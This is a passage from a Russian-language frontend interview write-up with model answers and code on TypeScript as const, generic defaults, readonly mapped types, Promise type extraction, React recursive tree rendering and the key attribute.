loading: { canTransitionTo: ['success', 'error'] },
success: { canTransitionTo: ['idle'] },
error: { canTransitionTo: ['idle', 'loading'] },
} as const;

7. Ограничения

// ❌ Нельзя использовать с переменными типа any
const value = JSON.parse(data) as const; // Бесполезно — тип уже any

// ❌ Не работает с методами объектов
const obj = {
name: 'App',
getName() {
return this.name;
},
} as const;
// Методы не становятся readonly (они и не должны)

// ❌ Нельзя присвоить обратно в изменяемую перементи
let config = { debug: true } as const;
config = { debug: false }; // Ошибка! Нельзя изменить let переменную с as const

8. Резюме

ХарактеристикаБез as constС as const
Тип свойствstring, number, booleanЛитеральные типы
ИзменяемостьМожно изменитьReadonly
Вложенные объектыИзменяемыеГлубокий readonly
МассивыT[]readonly tuple
Runtime поведениеБез измененийБез изменений (только типы)

as const — это элегантный способ создать типобезопасные константы без написания дополнительного кода типов. Он особенно полезен для конфигураций, enum-подобных структур и создания union types из фиксированных наборов значений.

Вопрос 19. Как создать функцию с дженериком, которая принимает любой тип, но по умолчанию использует тип Person?

Таймкод: 00:39:00

Ответ собеседника: Правильный. Кандидат предложил использовать дженерик с дефолтным значением: function logPerson<T = Person>(person: T). Решение верное.

Правильный ответ:

Дженерики с дефолтными значениями позволяют создавать гибкие функции, которые работают с любым типом, но имеют разумное значение по умолчанию.

1. Базовый синтаксис

type Person = {
name: string;
age: number;
};

// Дженерик с дефолтным типом
function logPerson<T = Person>(person: T): void {
console.log(person);
}

// Использование без указания типа — T = Person
logPerson({ name: 'Иван', age: 30 });

// Использование с другим типом
type Admin = {
name: string;
role: string;
};

logPerson<Admin>({ name: 'Мария', role: 'SuperAdmin' });

2. Практические примеры

А. Функция с ограничениями и дефолтом

// T должен иметь свойство name, по умолчанию Person
function greet<T extends { name: string } = Person>(entity: T): string {
return `Hello, ${entity.name}!`;
}

// Работает с Person (дефолт)
greet({ name: 'Иван', age: 30 });

// Работает с любым объектом, имеющим name
greet({ name: 'Company', industry: 'IT' });

// Не работает без name
// greet({ age: 30 }); // Ошибка!

Б. Функция создания сущности

interface Entity {
id: string;
createdAt: Date;
}

function createEntity<T = Entity>(data: T): T & Entity {
return {
...data,
id: crypto.randomUUID(),
createdAt: new Date(),
};
}

// С дефолтным типом
const entity = createEntity({ name: 'Test' });
// Тип: Entity & { name: string }

// С кастомным типом
interface UserData {
email: string;
password: string;
}

const user = createEntity<UserData>({
email: 'test@example.com',
password: 'secret',
});
// Тип: UserData & Entity

В. Функция валидации

type ValidationResult<T> = {
isValid: boolean;
data: T;
errors: string[];
};

function validate<T = Person>(data: unknown): ValidationResult<T> {
// Логика валидации
const isValid = typeof data === 'object' && data !== null && 'name' in data;

return {
isValid,
data: data as T,
errors: isValid ? [] : ['Invalid data'],
};
}

// Дефолтная валидация как Person
const result1 = validate({ name: 'Иван' });
// result1.data: Person

// Валидация как конкретный тип
type Product = { title: string; price: number };
const result2 = validate<Product>({ title: 'Book', price: 100 });
// result2.data: Product

3. Несколько дженериков с дефолтами

interface Config {
debug: boolean;
timeout: number;
}

interface Logger {
log: (message: string) => void;
}

function createService<
C = Config,
L = Logger
>(config: C, logger: L): { config: C; logger: L } {
return { config, logger };
}

// С дефолтными типами
const service1 = createService(
{ debug: true, timeout: 5000 },
{ log: console.log }
);

// С кастомными типами
interface CustomConfig {
apiUrl: string;
retries: number;
}

interface CustomLogger {
info: (msg: string) => void;
error: (msg: string) => void;
}

const service2 = createService<CustomConfig, CustomLogger>(
{ apiUrl: 'https://api.example.com', retries: 3 },
{ info: console.info, error: console.error }
);

4. Дженерик с дефолтом в классе

class Store<T = Person> {
private items: T[] = [];

add(item: T): void {
this.items.push(item);
}

getAll(): T[] {
return this.items;
}

findById(id: string): T | undefined {
return this.items.find((item: any) => item.id === id);
}
}

// Дефолтный Store для Person
const personStore = new Store();
personStore.add({ name: 'Иван', age: 30 });

// Кастомный Store для Product
type Product = {
id: string;
title: string;
price: number;
};

const productStore = new Store<Product>();
productStore.add({ id: '1', title: 'Book', price: 100 });

5. Продвинутый пример: API-клиент

interface ApiResponse<T> {
data: T;
status: number;
message: string;
}

interface DefaultResponse {
success: boolean;
}

async function apiRequest<T = DefaultResponse>(
url: string,
options?: RequestInit
): Promise<ApiResponse<T>> {
const response = await fetch(url, options);
const data = await response.json();

return {
data: data as T,
status: response.status,
message: response.statusText,
};
}

// Дефолтный ответ
const result1 = await apiRequest('/api/health');
// result1.data: DefaultResponse

// Кастомный ответ
interface UserResponse {
id: number;
name: string;
email: string;
}

const result2 = await apiRequest<UserResponse>('/api/user/1');
// result2.data: UserResponse

6. Дженерик с дефолтом и условными типами

type ApiResponse<T = unknown> = T extends undefined
? { status: 'success' }
: { status: 'success'; data: T };

function createResponse<T = undefined>(data?: T): ApiResponse<T> {
if (data === undefined) {
return { status: 'success' } as ApiResponse<T>;
}
return { status: 'success', data } as ApiResponse<T>;
}

// Без данных — дефолтный тип
const response1 = createResponse();
// Тип: { status: 'success' }

// С данными
const response2 = createResponse({ name: 'Иван' });
// Тип: { status: 'success'; data: { name: string } }

7. Сравнение подходов

// Подход 1: Дженерик с дефолтом
function process1<T = Person>(data: T): T {
return data;
}

// Подход 2: Перегрузки
function process2(data: Person): Person;
function process2<T>(data: T): T;
function process2(data: any): any {
return data;
}

// Подход 3: Union type
function process3(data: Person | any): Person | any {
return data;
}

// Подход 1 предпочтительнее:
// - Одна реализация
// - Тип выводится автоматически
// - Дефолт работает неявно

8. Рекомендации

  • Используйте дефолтные дженерики, когда функция чаще всего работает с одним типом
  • Дефолт должен быть наиболее частым случаем использования
  • Добавляйте extends для ограничения допустимых типов
  • Не злоупотребляйте — если дефолт не нужен, используйте обычный дженерик
  • Документируйте дефолтный тип в JSDoc
/**
* Логирует информацию о сущности
* @template T - Тип сущности, по умолчанию Person
* @param person - Сущность для логирования
*/
function logPerson<T = Person>(person: T): void {
console.log(person);
}

Дженерики с дефолтными значениями — это элегантный способ создать гибкие функции, которые удобны в использовании без явного указания типов, но при этом поддерживают кастомные типы когда это необходимо.

Вопрос 20. Как создать утилиту, которая превращает все свойства типа в readonly?

Таймкод: 00:40:13

Ответ собеседника: Правильный. Кандидат реализовал утилиту с использованием дженерика и итерации по ключам объекта, добавляя модификатор readonly к каждому свойству.

Правильный ответ:

TypeScript уже имеет встроенную утилиту Readonly<T>, но понимание её реализации и умение создавать собственные mapped types — важный навык.

1. Реализация Readonly

// Встроенная реализация TypeScript
type MyReadonly<T> = {
readonly [P in keyof T]: T[P];
};

Разбор:

  • keyof T — получаем все ключи типа T
  • P in keyof T — итерируемся по каждому ключу
  • readonly — добавляем модификатор только для чтения
  • T[P] — сохраняем оригинальный тип значения

2. Использование

type User = {
id: number;
name: string;
email: string;
};

type ReadonlyUser = MyReadonly<User>;
// Эквивалентно:
// {
// readonly id: number;
// readonly name: string;
// readonly email: string;
// }

const user: ReadonlyUser = {
id: 1,
name: 'Иван',
email: 'ivan@example.com',
};

user.name = 'Мария'; // Ошибка! Cannot assign to 'name' because it is a read-only property

3. Глубокий Readonly (DeepReadonly)

Встроенный Readonly делает только поверхностный readonly. Для вложенных объектов нужна рекурсивная утилита:

type DeepReadonly<T> = {
readonly [P in keyof T]: T[P] extends object
? DeepReadonly<T[P]>
: T[P];
};

Проблема с простой рекурсией:

type User = {
name: string;
address: {
city: string;
street: string;
};
tags: string[];
};

// Простой DeepReadonly не обработает массивы и примитивы корректно

Улучшенная версия DeepReadonly:

type DeepReadonly<T> = T extends (...args: any[]) => any
? T // Функции не трогаем
: T extends Array<infer U>
? ReadonlyArray<DeepReadonly<U>> // Массивы
: T extends object
? { readonly [P in keyof T]: DeepReadonly<T[P]> } // Объекты
: T; // Примитивы

// Использование
type User = {
name: string;
address: {
city: string;
coordinates: {
lat: number;
lng: number;
};
};
hobbies: string[];
greet: () => string;
};

type ReadonlyUser = DeepReadonly<User>;

// Все уровни readonly:
// - name: readonly string
// - address: readonly { city: readonly string; coordinates: readonly { ... } }
// - hobbies: ReadonlyArray<readonly string>
// - greet: () => string (функция не изменилась)

4. Вариации mapped types с модификаторами

А. Удаление readonly (Mutable)

type Mutable<T> = {
-readonly [P in keyof T]: T[P];
};

// Минус перед readonly удаляет модификатор

Б. Делаем все свойства необязательными (Partial)

type MyPartial<T> = {
[P in keyof T]?: T[P];
};

В. Делаем все свойства обязательными (Required)

type MyRequired<T> = {
[P in keyof T]-?: T[P];
};

// Минус перед ? удаляет опциональность

Г. Комбинирование модификаторов

// Readonly + Required
type ReadonlyRequired<T> = {
readonly [P in keyof T]-?: T[P];
};

// Пример
type User = {
name: string;
age?: number;
email?: string;
};

type Config = ReadonlyRequired<User>;
// {
// readonly name: string;
// readonly age: number;
// readonly email: string;
// }

5. Практические примеры использования

А. Конфигурация приложения

type AppConfig = {
apiUrl: string;
timeout: number;
features: {
darkMode: boolean;
notifications: boolean;
};
};

type ReadonlyConfig = DeepReadonly<AppConfig>;

function initApp(config: ReadonlyConfig): void {
// config.apiUrl = 'new-url'; // Ошибка!
// config.features.darkMode = false; // Ошибка!
console.log('App initialized with config:', config);
}

Б. Состояние хранилища

type StoreState = {
user: {
id: number;
name: string;
permissions: string[];
};
cart: {
items: Array<{ id: number; quantity: number }>;
total: number;
};
};

type ReadonlyStoreState = DeepReadonly<StoreState>;

function getState(): ReadonlyStoreState {
return {
user: { id: 1, name: 'Иван', permissions: ['read', 'write'] },
cart: { items: [{ id: 1, quantity: 2 }], total: 100 },
};
}

const state = getState();
// state.user.name = 'Мария'; // Ошибка!
// state.cart.items.push({}); // Ошибка!

В. Immutable update pattern

type User = {
id: number;
name: string;
address: {
city: string;
street: string;
};
};

// Функция обновления возвращает новый объект
function updateUser(
user: DeepReadonly<User>,
updates: Partial<User>
): User {
return { ...user, ...updates };
}

const user: User = {
id: 1,
name: 'Иван',
address: { city: 'Москва', street: 'Ленина' },
};

const updated = updateUser(user, { name: 'Мария' });
// Оригинальный user не изменился

6. Продвинутые mapped types

А. Readonly для определённых ключей

type ReadonlyKeys<T, K extends keyof T> = {
[P in keyof T]: P extends K ? Readonly<T[P]> : T[P];
};

// Или более полезная версия
type PickReadonly<T, K extends keyof T> = {
readonly [P in K]: T[P];
} & {
[P in Exclude<keyof T, K>]: T[P];
};

type User = {
id: number;
name: string;
email: string;
};

type UserWithReadonlyId = PickReadonly<User, 'id'>;
// {
// readonly id: number;
// name: string;
// email: string;
// }

Б. Conditional Readonly

type ReadonlyIfObject<T> = {
readonly [P in keyof T]: T[P] extends object ? Readonly<T[P]> : T[P];
};

7. Встроенные утилиты TypeScript

УтилитаОписаниеРеализация
Readonly<T>Все свойства readonly{ readonly [P in keyof T]: T[P] }
Partial<T>Все свойства опциональны{ [P in keyof T]?: T[P] }
Required<T>Все свойства обязательны{ [P in keyof T]-?: T[P] }
Pick<T, K>Выбрать свойства{ [P in K]: T[P] }
Omit<T, K>Исключить свойстваPick<T, Exclude<keyof T, K>>
Record<K, T>Словарь{ [P in K]: T }

8. Тестирование типов

// Проверка что тип работает корректно
type AssertEqual<T, U> = [T] extends [U] ? ([U] extends [T] ? true : false) : false;

type User = { name: string; age: number };
type ReadonlyUser = MyReadonly<User>;

// Тест: ReadonlyUser должен быть равен ожидаемому типу
type Test = AssertEqual<
ReadonlyUser,
{ readonly name: string; readonly age: number }
>; // true

// Тест: нельзя изменить свойство
const user: ReadonlyUser = { name: 'Иван', age: 30 };
// user.name = 'Мария'; // Должна быть ошибка компиляции

9. Резють

Mapped types с модификаторами — мощный механизм TypeScript:

  • readonly добавляет неизменяемость
  • -readonly убирает неизменяемость
  • ? делает свойство опциональным
  • -? делает свойство обязательным
  • Можно комбинировать для создания сложных типов
  • Рекурсивные типы позволяют обрабатывать вложенные структуры

Понимание этих механизмов позволяет создавать типобезопасные утилиты и точно описывать контракты данных в приложении.

Вопрос 21. Как создать утилиту, которая извлекает тип из Promise?

Таймкод: 00:41:41

Ответ собеседника: Неполный. Кандидат начал использовать infer для извлечения типа из Promise, но допустил синтаксическую ошибку с расположением стрелочек. В итоге после подсказки исправил на правильный синтаксис с возвратом извлечённого типа или T по умолчанию.

Правильный ответ:

Извлечение типа из Promise — классическая задача на условные типы с infer. TypeScript имеет встроенную утилиту Awaited<T>, но понимание её реализации демонстрирует глубокое знание системы типов.

1. Базовая реализация UnwrapPromise

type UnwrapPromise<T> = T extends Promise<infer U> ? U : T;

Разбор:

  • T extends Promise<infer U> — проверяем, является ли T Promise
  • infer U — если да, извлекаем тип из Promise
  • ? U : T — возвращаем извлечённый тип или исходный T

2. Использование

type User = { name: string; age: number };

// Извлечение типа из Promise
type Result1 = UnwrapPromise<Promise<User>>;
// Result1 = User

// Если передан не Promise — возвращается исходный тип
type Result2 = UnwrapPromise<User>;
// Result2 = User

// Практическое использование
async function fetchUser(): Promise<User> {
return { name: 'Иван', age: 30 };
}

type FetchUserResult = UnwrapPromise<ReturnType<typeof fetchUser>>;
// FetchUserResult = User

3. Рекурсивная версия (вложенные Promise)

type DeepUnwrapPromise<T> = T extends Promise<infer U>
? DeepUnwrapPromise<U> // Рекурсивно разворачиваем вложенные Promise
: T;

// Использование
type Result1 = DeepUnwrapPromise<Promise<Promise<User>>>;
// Result1 = User

type Result2 = DeepUnwrapPromise<Promise<User>>;
// Result2 = User

type Result3 = DeepUnwrapPromise<User>;
// Result3 = User

4. Встроенная утилита Awaited (TypeScript 4.5+)

// TypeScript уже имеет встроенную утилиту
type Result = Awaited<Promise<User>>;
// Result = User

// Awaited также работает с thenable объектами
type Thenable<T> = { then: (onfulfilled: (value: T) => any) => any };
type Result2 = Awaited<Thenable<User>>;
// Result2 = User

5. Расширенные примеры

А. Извлечение типа из массива Promise

type UnwrapPromiseArray<T> = T extends Promise<infer U>[] ? U[] : T;

type Result = UnwrapPromiseArray<Promise<number>[]>;
// Result = number[]

Б. Извлечение типа из возвращаемого значения функции

type AsyncReturnType<T extends (...args: any) => any> =
T extends (...args: any) => Promise<infer R>
? R
: T extends (...args: any) => infer R
? R
: never;

// Использование
async function getUser(): Promise<{ name: string }> {
return { name: 'Иван' };
}

function getNumber(): number {
return 42;
}

type UserResult = AsyncReturnType<typeof getUser>;
// UserResult = { name: string }

type NumberResult = AsyncReturnType<typeof getNumber>;
// NumberResult = number

В. Извлечение типа из объекта с Promise-полями

type UnwrapPromiseObject<T> = {
[K in keyof T]: T[K] extends Promise<infer U> ? U : T[K];
};

type ApiResponses = {
user: Promise<{ name: string }>;
posts: Promise<{ title: string }[]>;
count: number;
};

type Unwrapped = UnwrapPromiseObject<ApiResponses>;
// {
// user: { name: string };
// posts: { title: string }[];
// count: number;
// }

6. Практический пример: API-клиент

// Типы API-ответов
interface ApiResponse<T> {
data: T;
status: number;
message: string;
}

// Функции API
async function fetchUser(id: number): Promise<ApiResponse<{ name: string; age: number }>> {
return {
data: { name: 'Иван', age: 30 },
status: 200,
message: 'OK',
};
}

async function fetchPosts(): Promise<ApiResponse<{ title: string }[]>> {
return {
data: [{ title: 'Post 1' }, { title: 'Post 2' }],
status: 200,
message: 'OK',
};
}

// Утилита для извлечения типа данных из API-ответа
type ApiData<T extends (...args: any) => Promise<ApiResponse<any>>> =
UnwrapPromise<ReturnType<T>> extends ApiResponse<infer D> ? D : never;

// Использование
type UserData = ApiData<typeof fetchUser>;
// UserData = { name: string; age: number }

type PostsData = ApiData<typeof fetchPosts>;
// PostsData = { title: string }[]

7. Извлечение типа из нескольких вложенных типов

// Извлечение из Promise<ApiResponse<T>>
type ExtractData<T> = T extends Promise<infer R>
? R extends ApiResponse<infer D>
? D
: R
: T;

type Result = ExtractData<Promise<ApiResponse<{ id: number }>>>;
// Result = { id: number }

8. Сравнение подходов

// Подход 1: Простой UnwrapPromise
type Unwrap1<T> = T extends Promise<infer U> ? U : T;

// Подход 2: Рекурсивный DeepUnwrapPromise
type Unwrap2<T> = T extends Promise<infer U> ? Unwrap2<U> : T;

// Подход 3: Встроенный Awaited
type Unwrap3<T> = Awaited<T>;

// Все три подхода работают одинаково для простых случаев
type Test1 = Unwrap1<Promise<string>>; // string
type Test2 = Unwrap2<Promise<string>>; // string
type Test3 = Unwrap3<Promise<string>>; // string

// Разница проявляется с вложенными Promise
type Test4 = Unwrap1<Promise<Promise<string>>>; // Promise<string> — не до конца
type Test5 = Unwrap2<Promise<Promise<string>>>; // string — полностью
type Test6 = Unwrap3<Promise<Promise<string>>>; // string — полностью

9. Продвинутый пример: Типобезопасный API-клиент

// Определение эндпоинтов
type Endpoints = {
'/api/user': { name: string; age: number };
'/api/posts': { title: string; body: string }[];
'/api/settings': { theme: 'light' | 'dark'; notifications: boolean };
};

// Тип для функции API-запроса
type ApiRequest<T extends keyof Endpoints> = Promise<{
data: Endpoints[T];
status: number;
}>;

// Утилита для извлечения типа данных эндпоинта
type EndpointData<T extends keyof Endpoints> =
UnwrapPromise<ApiRequest<T>> extends { data: infer D } ? D : never;

// Использование
type UserData = EndpointData<'/api/user'>;
// UserData = { name: string; age: number }

type PostsData = EndpointData<'/api/posts'>;
// PostsData = { title: string; body: string }[]

10. Резюме

УтилитаРеализацияКогда использовать
UnwrapPromise<T>T extends Promise<infer U> ? U : TПростое извлечение из Promise
DeepUnwrapPromise<T>Рекурсивная версияВложенные Promise
Awaited<T>Встроенная утилитаTypeScript 4.5+, рекомендуется
AsyncReturnType<T>Комбинация с ReturnTypeИзвлечение из async-функций

Ключевые моменты:

  • infer позволяет извлекать типы из других типов
  • Условные типы (extends ? :) работают как тернарный оператор для типов
  • Рекурсия позволяет обрабатывать вложенные структуры
  • Встроенный Awaited<T> предпочтительнее собственной реализации в production-коде

Вопрос 22. Как реализовать рекурсивный рендер дерева в React с возможностью скрывать и раскрывать дочерние элементы?

Таймкод: 00:44:48

Ответ собеседника: Неполный. Кандидат начал с преобразования данных в массив для удобства маппинга, планировал рекурсивный рендер. Начал создавать типы, но решение было неполным — кандидат потратил много времени на типизацию и не завершил реализацию функционала скрытия/раскрытия.

Правильный ответ:

Рекурсивный рендер дерева — классическая задача, сочетающая работу с рекурсивными структурами данных и управление состоянием в React.

1. Типы данных

interface TreeNode {
id: string;
label: string;
children?: TreeNode[];
}

// Пример данных
const treeData: TreeNode = {
id: '1',
label: 'Корень',
children: [
{
id: '1.1',
label: 'Узел 1.1',
children: [
{ id: '1.1.1', label: 'Лист 1.1.1' },
{ id: '1.1.2', label: 'Лист 1.1.2' },
],
},
{
id: '1.2',
label: 'Узел 1.2',
children: [
{ id: '1.2.1', label: 'Лист 1.2.1' },
],
},
],
};

2. Простая реализация

import { useState } from 'react';

interface TreeNodeProps {
node: TreeNode;
}

function TreeNodeItem({ node }: TreeNodeProps) {
const [isExpanded, setIsExpanded] = useState(false);
const hasChildren = node.children && node.children.length > 0;

return (
<div style={{ marginLeft: '20px' }}>
<div
onClick={() => hasChildren && setIsExpanded(!isExpanded)}
style={{
cursor: hasChildren ? 'pointer' : 'default',
display: 'flex',
alignItems: 'center',
gap: '8px',
padding: '4px',
}}
>
{hasChildren && (
<span>{isExpanded ? '▼' : '▶'}</span>
)}
<span>{node.label}</span>
</div>

{isExpanded && hasChildren && (
<div>
{node.children!.map((child) => (
<TreeNodeItem key={child.id} node={child} />
))}
</div>
)}
</div>
);
}

function Tree({ data }: { data: TreeNode }) {
return <TreeNodeItem node={data} />;
}

3. Продвинутая реализация с управлением состоянием

import { useState, useCallback } from 'react';

interface TreeNodeProps {
node: TreeNode;
expandedIds: Set<string>;
toggleNode: (id: string) => void;
level?: number;
}

function TreeNodeItem({ node, expandedIds, toggleNode, level = 0 }: TreeNodeProps) {
const hasChildren = node.children && node.children.length > 0;
const isExpanded = expandedIds.has(node.id);

return (
<div style={{ marginLeft: `${level * 20}px` }}>
<div
onClick={() => hasChildren && toggleNode(node.id)}
style={{
cursor: hasChildren ? 'pointer' : 'default',
display: 'flex',
alignItems: 'center',
gap: '8px',
padding: '4px 8px',
borderRadius: '4px',
backgroundColor: isExpanded ? '#e3f2fd' : 'transparent',
}}
>
{hasChildren ? (
<span style={{ fontSize: '12px' }}>
{isExpanded ? '▼' : '▶'}
</span>
) : (
<span style={{ width: '12px' }} />
)}
<span>{node.label}</span>
{hasChildren && (
<span style={{ color: '#999', fontSize: '12px' }}>
({node.children!.length})
</span>
)}
</div>

{isExpanded && hasChildren && (
<div>
{node.children!.map((child) => (
<TreeNodeItem
key={child.id}
node={child}
expandedIds={expandedIds}
toggleNode={toggleNode}
level={level + 1}
/>
))}
</div>
)}
</div>
);
}

function Tree({ data }: { data: TreeNode }) {
const [expandedIds, setExpandedIds] = useState<Set<string>>(new Set());

const toggleNode = useCallback((id: string) => {
setExpandedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) {
next.delete(id);
} else {
next.add(id);
}
return next;
});
}, []);

const expandAll = useCallback(() => {
const allIds = new Set<string>();

function collectIds(node: TreeNode) {
if (node.children && node.children.length > 0) {
allIds.add(node.id);
node.children.forEach(collectIds);
}
}

collectIds(data);
setExpandedIds(allIds);
}, [data]);

const collapseAll = useCallback(() => {
setExpandedIds(new Set());
}, []);

return (
<div>
<div style={{ marginBottom: '16px', display: 'flex', gap: '8px' }}>
<button onClick={expandAll}>Развернуть все</button>
<button onClick={collapseAll}>Свернуть все</button>
</div>
<TreeNodeItem
node={data}
expandedIds={expandedIds}
toggleNode={toggleNode}
/>
</div>
);
}

4. Оптимизация с memo

import { memo, useState, useCallback } from 'react';

interface TreeNodeProps {
node: TreeNode;
expandedIds: Set<string>;
toggleNode: (id: string) => void;
level?: number;
}

const TreeNodeItem = memo(function TreeNodeItem({
node,
expandedIds,
toggleNode,
level = 0,
}: TreeNodeProps) {
const hasChildren = node.children && node.children.length > 0;
const isExpanded = expandedIds.has(node.id);

return (
<div style={{ marginLeft: `${level * 20}px` }}>
<div
onClick={() => hasChildren && toggleNode(node.id)}
style={{
cursor: hasChildren ? 'pointer' : 'default',
display: 'flex',
alignItems: 'center',
gap: '8px',
padding: '4px 8px',
}}
>
{hasChildren && (
<span style={{ fontSize: '12px', transition: 'transform 0.2s' }}>
{isExpanded ? '▼' : '▶'}
</span>
)}
<span>{node.label}</span>
</div>

{isExpanded && hasChildren && (
<div>
{node.children!.map((child) => (
<TreeNodeItem
key={child.id}
node={child}
expandedIds={expandedIds}
toggleNode={toggleNode}
level={level + 1}
/>
))}
</div>
)}
</div>
);
});

5. Реализация с поиском и фильтрацией

import { useState, useMemo, useCallback } from 'react';

function TreeWithSearch({ data }: { data: TreeNode }) {
const [expandedIds, setExpandedIds] = useState<Set<string>>(new Set());
const [searchQuery, setSearchQuery] = useState('');

const toggleNode = useCallback((id: string) => {
setExpandedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) {
next.delete(id);
} else {
next.add(id);
}
return next;
});
}, []);

// Функция для поиска узлов и автоматического раскрытия родителей
const searchResults = useMemo(() => {
if (!searchQuery) return null;

const matchingIds = new Set<string>();
const parentIdsToExpand = new Set<string>();

function search(node: TreeNode, parentIds: string[]): boolean {
const matches = node.label.toLowerCase().includes(searchQuery.toLowerCase());
const childMatches = node.children?.some((child) =>
search(child, [...parentIds, node.id])
);

if (matches) {
matchingIds.add(node.id);
parentIds.forEach((id) => parentIdsToExpand.add(id));
}

return matches || (childMatches ?? false);
}

search(data, []);
return { matchingIds, parentIdsToExpand };
}, [data, searchQuery]);

// Автоматически раскрываем родителей найденных узлов
useMemo(() => {
if (searchResults) {
setExpandedIds((prev) => {
const next = new Set(prev);
searchResults.parentIdsToExpand.forEach((id) => next.add(id));
return next;
});
}
}, [searchResults]);

return (
<div>
<input
type="text"
value={searchQuery}
onChange={(e) => setSearchQuery(e.target.value)}
placeholder="Поиск..."
style={{ marginBottom: '16px', padding: '8px', width: '100%' }}
/>
<TreeNodeItem
node={data}
expandedIds={expandedIds}
toggleNode={toggleNode}
highlightIds={searchResults?.matchingIds}
/>
</div>
);
}

6. Реализация с чекбоксами (мультивыбор)

interface TreeNodeWithSelection extends TreeNode {
checked?: boolean;
indeterminate?: boolean;
}

function TreeWithCheckboxes({ data }: { data: TreeNode }) {
const [checkedIds, setCheckedIds] = useState<Set<string>>(new Set());
const [expandedIds, setExpandedIds] = useState<Set<string>>(new Set());

const toggleNode = useCallback((id: string) => {
setExpandedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) {
next.delete(id);
} else {
next.add(id);
}
return next;
});
}, []);

const toggleCheck = useCallback((node: TreeNode) => {
setCheckedIds((prev) => {
const next = new Set(prev);
const isChecked = next.has(node.id);

// Рекурсивно отмечаем/снимаем все дочерние узлы
function toggleChildren(n: TreeNode, checked: boolean) {
if (checked) {
next.add(n.id);
} else {
next.delete(n.id);
}
n.children?.forEach((child) => toggleChildren(child, checked));
}

toggleChildren(node, !isChecked);
return next;
});
}, []);

return (
<TreeNodeWithCheckbox
node={data}
expandedIds={expandedIds}
checkedIds={checkedIds}
toggleNode={toggleNode}
toggleCheck={toggleCheck}
/>
);
}

interface TreeNodeCheckboxProps {
node: TreeNode;
expandedIds: Set<string>;
checkedIds: Set<string>;
toggleNode: (id: string) => void;
toggleCheck: (node: TreeNode) => void;
level?: number;
}

function TreeNodeWithCheckbox({
node,
expandedIds,
checkedIds,
toggleNode,
toggleCheck,
level = 0,
}: TreeNodeCheckboxProps) {
const hasChildren = node.children && node.children.length > 0;
const isExpanded = expandedIds.has(node.id);
const isChecked = checkedIds.has(node.id);

return (
<div style={{ marginLeft: `${level * 20}px` }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<input
type="checkbox"
checked={isChecked}
onChange={() => toggleCheck(node)}
/>
<span
onClick={() => hasChildren && toggleNode(node.id)}
style={{ cursor: hasChildren ? 'pointer' : 'default' }}
>
{hasChildren && (isExpanded ? '▼' : '▶')} {node.label}
</span>
</div>

{isExpanded && hasChildren && (
<div>
{node.children!.map((child) => (
<TreeNodeWithCheckbox
key={child.id}
node={child}
expandedIds={expandedIds}
checkedIds={checkedIds}
toggleNode={toggleNode}
toggleCheck={toggleCheck}
level={level + 1}
/>
))}
</div>
)}
</div>
);
}

7. Ключи оптимизации

ТехникаКогда использовать
memo для узловБольшие деревья (>100 узлов)
useCallback для обработчиковВсегда при передаче в дочерние компоненты
useMemo для вычисленийФильтрация, поиск, агрегация
ВиртуализацияОчень большие деревья (>1000 узлов)

8. Виртуализация для больших деревьев

// Использование react-window или react-virtuoso для больших деревьев
import { FixedSizeList } from 'react-window';

// Преобразование дерева в плоский список с учётом раскрытых узлов
function flattenTree(
node: TreeNode,
expandedIds: Set<string>,
level = 0
): Array<{ node: TreeNode; level: number }> {
const result: Array<{ node: TreeNode; level: number }> = [{ node, level }];

if (expandedIds.has(node.id) && node.children) {
node.children.forEach((child) => {
result.push(...flattenTree(child, expandedIds, level + 1));
});
}

return result;
}

Рекурсивный рендер дерева в React — это комбинация правильной структуры данных, управления состоянием и оптимизации производительности. Ключевые моменты: подъём состояния для управления раскрытием, memo для предотвращения лишних ререндеров и виртуализация для больших деревьев.

Вопрос 23. Для чего используется атрибут key в React и можно ли использовать колбэк-функцию без обёртки в useCallback?

Таймкод: 00:55:22

Ответ собеседника: Правильный. Key используется для оптимизации рендеринга в списках, должен быть уникальным и неизменяемым. Колбэк можно не оборачивать в useCallback, если компонентов мало и нет проблем с производительностью. Для оптимизации нужно также оборачивать в React.memo.

Правильный ответ:

Оба вопроса касаются оптимизации в React, но затрагивают разные аспекты: механизм согласования (reconciliation) и мемоизацию.

1. Атрибут key в React

А. Для чего нужен key

key — это специальный атрибут, который React использует для идентификации элементов при обновлении списка. Он помогает React определить, какие элементы были добавлены, удалены или переупорядочены.

// Без key — React не может эффективно обновить список
function UserList({ users }) {
return (
<ul>
{users.map((user) => (
<li>{user.name}</li> // Предупреждение: missing key
))}
</ul>
);
}

// С key — React точно знает, какой элемент изменился
function UserList({ users }) {
return (
<ul>
{users.map((user) => (
<li key={user.id}>{user.name}</li>
))}
</ul>
);
}

Б. Как React использует key

React использует алгоритм согласования (reconciliation):

Старый список: [A, B, C]
Новый список: [B, A, D]

Без key:
- React сравнивает по позиции: A→B, B→A, C→D
- Все три элемента обновляются

С key:
- React видит: A и B существуют, просто переупорядочены
- C удалён, D добавлен
- Обновляется только D, A и B перемещаются

В. Правила использования key

// ✅ Хорошо — уникальный стабильный идентификатор
{users.map((user) => (
<UserCard key={user.id} user={user} />
))}

// ✅ Хорошо — для статических списков с известной структурой
{['apple', 'banana', 'orange'].map((fruit) => (
<li key={fruit}>{fruit}</li>
))}

// ❌ Плохо — индекс как key (если список изменяется)
{users.map((user, index) => (
<UserCard key={index} user={user} />
))}

// ❌ Плохо — случайное значение (новый key при каждом рендере)
{users.map((user) => (
<UserCard key={Math.random()} user={user} />
))}

// ❌ Плохо — нестабильный key
{users.map((user) => (
<UserCard key={`${user.name}-${Date.now()}`} user={user} />
))}

Г. Проблемы с key на индексах

// Проблема: при удалении элемента индексы сдвигаем
function TodoList() {
const [todos, setTodos] = useState([
{ id: 1, text: 'Купить молоко', done: false },
{ id: 2, text: 'Позвонить маме', done: false },
{ id: 3, text: 'Написать код', done: false },
]);

const removeTodo = (index) => {
setTodos(todos.filter((_, i) => i !== index));
};

return (
<ul>
{todos.map((todo, index) => (
// ❌ При удалении первого элемента:
// - Было: index 0, 1, 2
// - Стало: index 0, 1 (бывшие 1 и 2)
// - React думает, что изменились первые два элемента
<li key={index}>
<input type="checkbox" checked={todo.done} />
{todo.text}
<button onClick={() => removeTodo(index)}>Удалить</button>
</li>
))}
</ul>
);
}

// ✅ Решение: используем уникальный id
{todos.map((todo) => (
<li key={todo.id}>
<input type="checkbox" checked={todo.done} />
{todo.text}
<button onClick={() => removeTodo(todo.id)}>Удалить</button>
</li>
))}

Д. Key и состояние компонентов

// ❌ Проблема: key определяет идентичность компонента
